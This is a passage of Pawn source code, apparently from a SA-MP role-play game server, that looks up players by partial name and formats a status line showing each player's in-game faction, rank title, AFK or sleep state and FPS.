	   {
		  GetPlayerName(i, name, sizeof (name));
			if(strfind(name, text[pos], true) != -1)
		  //if (strcmp(name, text[pos], true, len) == 0) // Check segment of name
		  {
			 if (len == strlen(name)) // Exact match
			 {
				return i; // Return the exact player on an exact match
			 }
			 else // Partial match
			 {
				count++;
				userid = i;
			 }
		  }
	   }
	}
	if (count != 1)
	{
	   if (playerid != INVALID_PLAYER_ID)
	   {
		  if (count)
		  {
			for (new i = 0; i < (MAX_PLAYERS-MAX_NPCC); i++)
	{
	   if (IsPlayerConnected(i))
	   {
		  GetPlayerName(i, name, sizeof (name));
			if(strfind(name, text[pos], true) != -1)
		  //if (strcmp(name, text[pos], true, len) == 0) // Check segment of name
		  {
	   new sstring[256];
	   new ttext[50];
	   if(PlayerInfo[i][pMember] == 2 || PlayerInfo[i][pLeader] == 2) { ttext = "{0000CC}Federal Bureau of Investigation"; }
		else if(PlayerInfo[i][pMember] == 1 || PlayerInfo[i][pLeader] == 1) { ttext = "{0000ff}Police Departament"; }
		else if(PlayerInfo[i][pMember] == 3 || PlayerInfo[i][pLeader] == 3) { ttext = "{2c4c9b}National Guard"; }
		else if(PlayerInfo[i][pMember] == 5 || PlayerInfo[i][pLeader] == 5) { ttext = "{5D7E8D}The Silence Mafia"; }
		else if(PlayerInfo[i][pMember] == 6 || PlayerInfo[i][pLeader] == 6) { ttext = "{3E3535}The Killers Family"; }
		else if(PlayerInfo[i][pMember] == 12 || PlayerInfo[i][pLeader] == 12) { ttext = "{19AF23}Dangerous Tiger Family"; }
		else if(PlayerInfo[i][pMember] == 13 || PlayerInfo[i][pLeader] == 13) { ttext = "{FFBA00}Legendary Men Family"; }
		else if(PlayerInfo[i][pMember] == 14 || PlayerInfo[i][pLeader] == 14) { ttext = "{B32CF6}Fast N Furious Family"; }
		else if(PlayerInfo[i][pMember] == 15 || PlayerInfo[i][pLeader] == 15) { ttext = "{00ECEC}Storm Men Family"; }
		else if(PlayerInfo[i][pMember] == 7 || PlayerInfo[i][pLeader] == 7) { ttext = "{BBF060}Mayor"; }
		else if(PlayerInfo[i][pMember] == 8 || PlayerInfo[i][pLeader] == 8) { ttext = "{8E2323}Hitman Agency"; }
		else if(PlayerInfo[i][pMember] == 4 || PlayerInfo[i][pLeader] == 4) { ttext = "{FF4500}Fire & Medic Department"; }
		else if(PlayerInfo[i][pMember] == 9 || PlayerInfo[i][pLeader] == 9) { ttext = "{825B8C}News Reporter"; }
		else if(PlayerInfo[i][pMember] == 10 || PlayerInfo[i][pLeader] == 10) { ttext = "{FFFF00}Taxi Drivers"; }
		else if(PlayerInfo[i][pMember] == 16 || PlayerInfo[i][pLeader] == 16) { ttext = "{F9F7CE}Tow Truck Company"; }
		else if(PlayerInfo[i][pMember] == 11 || PlayerInfo[i][pLeader] == 11) { ttext = "{00a6ff}School Instructor"; }
		else if(PlayerInfo[i][pMember] == 17 || PlayerInfo[i][pLeader] == 17) { ttext = "{7A7399}Unknowns"; }
		else if(PlayerInfo[i][pMember] == 19 || PlayerInfo[i][pLeader] == 19) { ttext = "{0E47FF}Top Boys Family"; }
		else if(PlayerInfo[i][pMember] == 20 || PlayerInfo[i][pLeader] == 20) { ttext = "{60F565}San Fiero Police Departement"; }
		//else if(PlayerInfo[i][pSoldier] != 0 || PlayerInfo[i][pLeader] == 21) { ttext = "{7D633B}Soldier"; }
	   else { ttext = "Civilian"; }
	   // End faction
	   // Start Rank
	   new rtext[64];
			if(PlayerInfo[i][pMember] == 1 || PlayerInfo[i][pLeader] == 1)//PD Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Soldier"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Police Officer"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Sergeant"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Captain"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Colonel"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Chief"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "PD Leader"; }

			}
			else if(PlayerInfo[i][pMember] == 2 || PlayerInfo[i][pLeader] == 2)//FBI Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "New Agent Trainee"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Special Agent"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Supervisory Special Agent"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Unit Chief"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Deputy Director"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Director"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "FBI Leader"; }

			}
			else if(PlayerInfo[i][pMember] == 3 || PlayerInfo[i][pLeader] == 3)//NG Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Private"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Corporal"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Sergeant"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Master Sergeant"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Sergeant Major"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Marshal"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "NG Leader"; }

			}
			else if(PlayerInfo[i][pMember] == 4 || PlayerInfo[i][pLeader] == 4)//Medic Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Private"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Candidate Fire Paramedic"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Fire Paramedic"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Paramedic in charge"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Ambulance Commander"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Paramedic Field"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Chief Paramedic"; }

			}
			else if(PlayerInfo[i][pMember] == 5 || PlayerInfo[i][pLeader] == 5)//Silence Family Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Don The Silence"; }

			}
			else if(PlayerInfo[i][pMember] == 6 || PlayerInfo[i][pLeader] == 6)//The Killers Family Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Don The Killers"; }

			}
			else if(PlayerInfo[i][pMember] == 7 || PlayerInfo[i][pLeader] == 7)//Mayor ranks
			{
				if(PlayerInfo[i][pRank] == 7) { rtext = "Mayor"; }

			}
			else if(PlayerInfo[i][pMember] == 8 || PlayerInfo[i][pLeader] == 8)//Hitman Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "FreeLancer"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Marksman"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Agent"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Special Agent"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Vice-Director"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Co-Director"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Director"; }

			}
			else if(PlayerInfo[i][pMember] == 9 || PlayerInfo[i][pLeader] == 9)//NR Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Intern"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Intern"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Local Reporter"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Local Editor"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Network Anchor"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Network Editor"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Network Producer"; }
			}
			else if(PlayerInfo[i][pMember] == 10 || PlayerInfo[i][pLeader] == 10)//Taxi Company Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Trainee"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Trainee"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Taxi Rookie"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Cabbie"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Dispatcher"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Shift Supervisor"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Taxi Company Owner"; }
			}
			else if(IsAnInstructor(i))//Driving/Flying School Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Trainee"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Trainee"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Instructor"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Senior Instructor"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Manager"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Under Boss"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Boss"; }
			}
			else if(PlayerInfo[i][pMember] == 12 || PlayerInfo[i][pLeader] == 12)//Dangerous Tigers Family Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Don Dangerous Tiger"; }

			}
			else if(PlayerInfo[i][pMember] == 17 || PlayerInfo[i][pLeader] == 17)//Hacker Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "New Hacker"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Trial Hacker"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Hacker"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Perfect Hacker"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Old Hacker"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Private Hacker"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Hackers Leader"; }

			}
			else if(PlayerInfo[i][pMember] == 19 || PlayerInfo[i][pLeader] == 19)//Dangerous Tigers Family Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

			}
			else if(PlayerInfo[i][pMember] == 20 || PlayerInfo[i][pLeader] == 20)//Dangerous Tigers Family Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

			}
			else if(PlayerInfo[i][pMember] == 13 || PlayerInfo[i][pLeader] == 13)//Legendary Men Family Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Don Legendary Men"; }

			}
			else if(PlayerInfo[i][pMember] == 14 || PlayerInfo[i][pLeader] == 14)//Fast N Furious Family Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Don The Fast N Furious"; }

			}
			else if(PlayerInfo[i][pMember] == 15 || PlayerInfo[i][pLeader] == 15)//sm Family Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Don Storm Men"; }

			}
			else if(PlayerInfo[i][pMember] == 16 || PlayerInfo[i][pLeader] == 16)//TCC Ranks
			{
				if(PlayerInfo[i][pRank] == 1) { rtext = "Trainee"; }
				else if(PlayerInfo[i][pRank] == 2) { rtext = "Trainee"; }
				else if(PlayerInfo[i][pRank] == 3) { rtext = "Mechanic"; }
				else if(PlayerInfo[i][pRank] == 4) { rtext = "Senior Mechanic"; }
				else if(PlayerInfo[i][pRank] == 5) { rtext = "Manager"; }
				else if(PlayerInfo[i][pRank] == 6) { rtext = "Co-Leader"; }
				else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }
			}
	   else
	   {
		  rtext = "None";
	   }
	   // End Rank
		//new afk[40];
		//if(AFK[i] == 1 || AFKTime[i] > 70)  {afk = "(AFK) ";}
		//if(AFK[i] == 0 && AFKTime[i] < 70)  {afk = "";}
  /*
		if(PINFO[i][pClan] != 0) {
		if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
	   format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d %s| Faction: %s {F9F7CE}(%s)",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],afk,ttext,rtext);
		}
		else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
	   format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d %s| Faction: %s {F9F7CE}(%s)",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],afk,ttext,rtext);
		}
		}
		else {
		format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d %s| Faction: %s {F9F7CE}(%s)",i,PINFO[i][pName],PINFO[i][pLevel],afk,ttext,rtext);
		}*/

		if(InSleep[i] == 1)
{
			if(PINFO[i][pMember] == 0 && PINFO[i][pLeader] == 0)
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(PINFO[i][pMember] == 7 || PINFO[i][pLeader] == 7)
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(OnDuty[i] == 1)
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
			}
			else
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
			}
}
if((AFK[i] == 1 || AFKTime[i] > 70) && InSleep[i] == 0)
{
			if(PINFO[i][pMember] == 0 && PINFO[i][pLeader] == 0)
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(PINFO[i][pMember] == 7 || PINFO[i][pLeader] == 7)
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(OnDuty[i] == 1)
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d (AFK) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d (AFK) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (AFK) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
			}
			else
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d (AFK) | Faction: %s {F9F7CE}(%s) | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d (AFK) | Faction: %s {F9F7CE}(%s) | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (AFK) | Faction: %s {F9F7CE}(%s) | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
			}
}
if((AFK[i] == 0 && AFKTime[i] < 70) && InSleep[i] == 0)
{
			if(PINFO[i][pMember] == 0 && PINFO[i][pLeader] == 0)
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d | Faction: %s{F9F7CE} | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(PINFO[i][pMember] == 7 || PINFO[i][pLeader] == 7)
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d | Faction: %s{F9F7CE} | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d | Faction: %s{F9F7CE} | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,pFPS[i]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(OnDuty[i] == 1)
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
			}
			else
			{
				if(PINFO[i][pClan] != 0) {
				if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d | Faction: %s {F9F7CE}(%s) | FPS: %d",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
